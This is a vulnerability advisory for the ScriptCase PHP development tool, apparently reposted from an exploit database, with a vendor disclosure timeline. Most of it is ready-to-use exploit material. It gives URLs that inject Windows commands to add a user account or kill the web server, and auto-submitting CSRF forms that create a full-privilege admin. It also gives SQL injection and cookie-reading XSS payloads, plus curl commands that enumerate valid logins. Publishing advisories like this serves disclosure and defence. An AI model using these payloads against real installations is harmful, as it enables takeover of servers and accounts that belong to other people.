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# ScriptCase 8.1.053 Multiple Vulnerabilities

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[+] Credits: hyp3rlinx
 
[+] Website: hyp3rlinx.altervista.org
 
[+] Source: http://hyp3rlinx.altervista.org/advisories/SCRIPTCASE-PHP-WEB-TOOL-MULTIPLE-VULNERABILITIES.txt
 
[+] ISR: ApparitionSec
 
 
 
Vendor:
==================
www.scriptcase.net
 
 
 
Product:
===================
ScriptCase
v8.1.053, v8.1.051, v8.1.43.0
 
scriptcase_install_en_us_v8.1.053.exe
hash: ceaba1fce05556b82ab37582a7c907f4
 
scriptcase_install_en_us_v8.1.051.exe
hash: c3c9fbe085ab5462304c0c73c8698946
 
 
ScriptCase RAD is a development platform for PHP applications, is web
oriented and can be installed in a server in the internet.
 
 
 
Vulnerability Type:
=============================
CSRF Remote Command Execution
CSRF Add Admin
SQL Injection
Cross Site Scripting
Local Privlege Escalation (Insecure File Permissions)
User Enumeration / Token Bypass
 
Downloaded latest version v8.1.053, and still vulnerable.
 
 
 
CVE Reference:
==============
N/A
 
 
 
Vulnerability Details:
=====================
 
[CSRF Remote Command Execution]
Scriptcase has a remote command execution ailment via CSRF, if an
authenticated user clicks an attacker link etc. This can allow attackers
to run arbitrary system commands on the affected host and do things like
add accounts etc.
 
Scriptcase PHP code uses encryption / obfuscated so its not easy testing
but we can see here the error returned for PHP eval()'d code
when injecting an Array [] brackets or something as paremeter.
 
Parse error: syntax error, unexpected end of file, expecting ']' in C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase\devel\lib\php\functions2.inc.php(358) : eval()'d code on line 1
 
After trying to wrap a Windows system call in backtick "`" operators it
worked perfectly. This allowed me to add an arbitrary system
account to the affected system.
 
 
 
[CSRF]
There are several cross site request forgery vectors, allowing attackers to
add an Admin account to Scriptcase application etc.
 
 
[Cross Site Scripting]
Multiple XSS entry points exists within the vulnerable application both GET
and POST.
 
Example XSS vulnerable scriptcase code 'ajax_cod_apls' is not santized
before being processed by ajax HTTP post request.
 
$.ajax({
type: 'POST',
url: '/scriptcase/devel/iface/generate.php',
data:
'compile_app_ajax=S&gen_option=console&targ_frame=_self&console=yes&ajax_cod_apls='
+ str_open_apps,
success: function(s_result){
a_result = s_result.split('__compile_ajax_sep_row__');
nm_compile_gerar();
}
});
 
 
 
[Local Privilege Escalation]
scriptcase uses weak insecure file permissions as the “Everyone” group has
full access on it. Allowing low privileged users to
execute arbitrary code in the security context of ANY other users with
elevated privileges on the affected system.
 
"Everyone" encompasses all users who have logged in with a password as well
as built-in, non-password protected accounts such as Guest
and LOCAL_SERVICE.Any user (even guest) will be able to replace, modify or
change the file. This would allow an attacker the ability
to inject code or replace scriptcase used executables and have it run in
the context of the system.
 
 
 
[User Enumeration]
On failed scriptcase login the application returns one of the following in
the HTTP response.
 
"The login name provided is not registered on the system."
On a failed password but correct user name entered application HTTP
response returns.
"The password is incorrect."
 
 
 
 
Exploit code(s):
===============
 
[CSRF Remote Command Execution]
 
Note: we NEED to use backtick operators "`"
 
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start net user EVIL abc123 /add`
 
Verify...
 
c:\> net user
 
User accounts for \\hyp3rlinx
------------------------------------------------------------------------
Administrator hyp3rlinx Guest
EVIL Test Privileged-User
 
 
2) start Windows 'calc.exe'
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`calc.exe`
 
OR
 
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start
calc.exe`
 
**sometimes "calc.exe" doesnt appear but it is running use "tasklist /v |
findstr calc.exe" to verify it is in fact running.
 
 
4) Apache DOS (needs httpd environmental variable set)
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`taskkill /f /im httpd.exe`
 
 
 
[SQL Injection]
 
AND boolean-based blind - WHERE or HAVING clause in 'nrLinhas' parameter "10 AND 2=2"
 
<form action="http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php" method="post">
<input type="hidden" name="nOpc" value="1">
<input type="hidden" name="nOpr" value="0">
<input type="hidden" name="nColOrd" value="1">
<input type="hidden" name="nLogin" value="">
<input type="hidden" name="nFiltro" value="2">
<input type="hidden" name="filtroTipo" value="2">
<input type="hidden" name="filtroTexto" value="1">
<input type="hidden" name="nrLinhas" value="10 AND 2=2">
<input type="hidden" name="nrInicio" value="0">
<input type="hidden" name="maxReg" value="1">
<script>document.forms[0].submit()</script>
</form>
 
 
 
[CSRF Add Admin]
 
<form name="form_user" action=" http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php" method="POST">
<input type="hidden" name="nOpc" value="2">
<input type="hidden" name="nOpr" value="2">
<input type="hidden" name="nLogin" value="hyp3rlinx">
<input type="hidden" name="nMail" value="pwn@Done.com">
<input type="hidden" name="nPass[]" value="abc123">
<input type="text" name="nPass[]" value="abc123"/>
<input type="text" name="privBox%5B%5D" value="Priv_Admin" />
<input type="hidden" name="privBox%5B%5D" value="Priv_Proj" />
<input type="hidden" name="privBox%5B%5D" value="Priv_DataDictionary" />
<input type="hidden" name="privBox%5B%5D" value="Priv_Exec">
<input type="hidden" name="privBox%5B%5D" value="Priv_Export">
<input type="hidden" name="privBox%5B%5D" value="Priv_Library">
<input type="hidden" name="privBox%5B%5D" value="Priv_Reports">
<input type="hidden" name="privBox%5B%5D" value="Priv_Locales">
<input type="hidden" name="privBox%5B%5D" value="Priv_Publish">
<input type="hidden" name="privBox%5B%5D" value="Priv_Aba">
<input type="hidden" name="privBox%5B%5D" value="Priv_Blank">
<input type="hidden" name="privBox%5B%5D" value="Priv_Calendar">
<input type="hidden" name="privBox%5B%5D" value="Priv_Chart">
<input type="hidden" name="privBox%5B%5D" value="Priv_Cons">
<input type="hidden" name="privBox%5B%5D" value="Priv_Container">
<input type="hidden" name="privBox%5B%5D" value="Priv_Ctrl">
<input type="hidden" name="privBox%5B%5D" value="Priv_Filt">
<input type="hidden" name="privBox%5B%5D" value="Priv_Edit">
<input type="hidden" name="privBox%5B%5D" value="Priv_Menu">
<input type="hidden" name="privBox%5B%5D" value="Priv_ReportPdf">
<input type="hidden" name="privBox%5B%5D" value="Priv_DbManager">
<input type="hidden" name="privBox%5B%5D" value="Priv_DbConvert">
<input type="hidden" name="privBox%5B%5D" value="Priv_SQLBuilder">
<input type="hidden" name="privBox%5B%5D" value="Priv_Connection">
<input type="hidden" name="hidden" value="New User">
<script> document.forms[0].submit()</script>
</form>
 
 
[CSRF mysql connect creation wizard]
 
<form action="
http://127.0.0.1:8081/scriptcase/devel/iface/admin_sys_allconections_create_wizard.php" method="post">
<input type="hidden" name="ajax" value="S"/>
<input type="hidden" name="set_charset" value="S"/>
<input type="hidden" name="dbms" value="mysql"/>
<input type="hidden" name="sgdb" value="pdo_mysql"/>
<input type="hidden" name="exit" value="S"/>
<input type="hidden" name="host" value="127__DOT__0__DOT__0__DOT__1:3306"/>
<input type="hidden" name="usr" value="root"/>
<input type="hidden" name="pwd" value=""/>
<input type="hidden" name="db" value="mysql"/>
<script>document.forms[0].submit()</script>
</form>
 
 
 
[Cross Site Scripting] - Successful in Firefox
 
XSS 1)
 
http://127.0.0.1:8081/scriptcase/devel/iface/app_import.php?option=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
 
 
XSS 2)
 
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
 
 
XSS 3)
 
<form action="http://127.0.0.1:8081/scriptcase/devel/iface/generate.php"
method="post">
<input type="hidden" name="compile_app_ajax" value="S"/>
<input type="hidden" name="gen_option" value="console"/>
<input type="hidden" name="targ_frame" value="_self"/>
<input type="hidden" name="console" value="yes"/>
<input type="hidden" name="ajax_cod_apls"
value="<script>alert(document.cookie)</script>"/>
<script>document.forms[0].submit()</script>
</form>
 
 
XSS 4)
 
<form action="http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php"
method="post">
<input type="hidden" name="nOpc" value="1">
<input type="hidden" name="nOpr" value="0">
<input type="hidden" name="nColOrd" value="1">
<input type="hidden" name="nLogin" value="">
<input type="hidden" name="nFiltro" value="2">
<input type="hidden" name="filtroTipo" value="2">
<input type="hidden" name="filtroTexto"
value='"/><script>alert(document.cookie)</script>'>
<input type="hidden" name="nrLinhas" value="10">
<input type="hidden" name="nrInicio" value="0">
<input type="hidden" name="maxReg" value="1">
<script>document.forms[0].submit()</script>
</form>
 
 
 
[Local Privilege Escalations]
 
Proof.
 
C:\Program Files (x86)\NetMake\v81\components>cacls * | findstr Everyone |
more
C:\Program Files (x86)\NetMake\v81\components\apache Everyone:(ID)F
 
Everyone:(OI)(CI)(IO)(ID)
C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x64.msi
Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x86.msi
Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\components\php Everyone:(ID)F
Everyone:(OI)(CI)(IO)(ID)F
 
 
C:\Program Files (x86)\NetMake\v81\wwwroot>cacls * | findstr Everyone | more
C:\Program Files (x86)\NetMake\v81\wwwroot\favicon.ico Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\index.php Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\robots.txt Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase Everyone:(ID)F
 
Everyone:(OI)(CI)(IO)(ID)F
 
 
 
[User Account Enumeration / Token Bypass]
 
First off the stupid token used on the login FORM e.g. "form_login=<TOKEN>"
is totally useless you can put anything you like in it
and the application will happily process the request.
 
 
CURL Enumeration 1)
curl -i -v -X POST
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d
field_user=BOZO -d field_pass=1 -d ajax=nm -d option=login -d
form_login=STUPID-TOKEN -d language=en_US
 
HTTP Response:
"error1:The login name provided is not registered on the system."
 
CURL Enumeration 2)
curl -i -v -X POST
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d
field_user=admin -d field_pass=1 -d ajax=nm -d option=login -d
form_login=STUPID-TOKEN -d language=en_US
 
HTTP Response:
"error1:The password is incorrect."
 
Either way we know when we hit a valid account.
 
 
 
Disclosure Timeline:
=========================================
Vendor Notification: October 13, 2016
Vendor acknowledgement: October 14, 2016
Vendor request POC video: October 14, 2016
Sent vendor video link: October 14, 2016
Request update from vendor: October 17, 2016
Vendor reply: "under review"
Vendor requests video again: October 25, 2016
Request update from vendor: October 30, 2016
Vendor reply: "No information"
Request ETA: November 7, 2016
Request status: November 14, 2016
Vendor Unresponsive No More Replies
November 20, 2016 : Public Disclosure
 
 
 
Exploitation Technique:
=======================
Remote / Local
 
 
 
Severity Level:
================
High
 
 
 
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.


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# Iranian Exploit DataBase = http://IeDb.Ir [2016-11-21]

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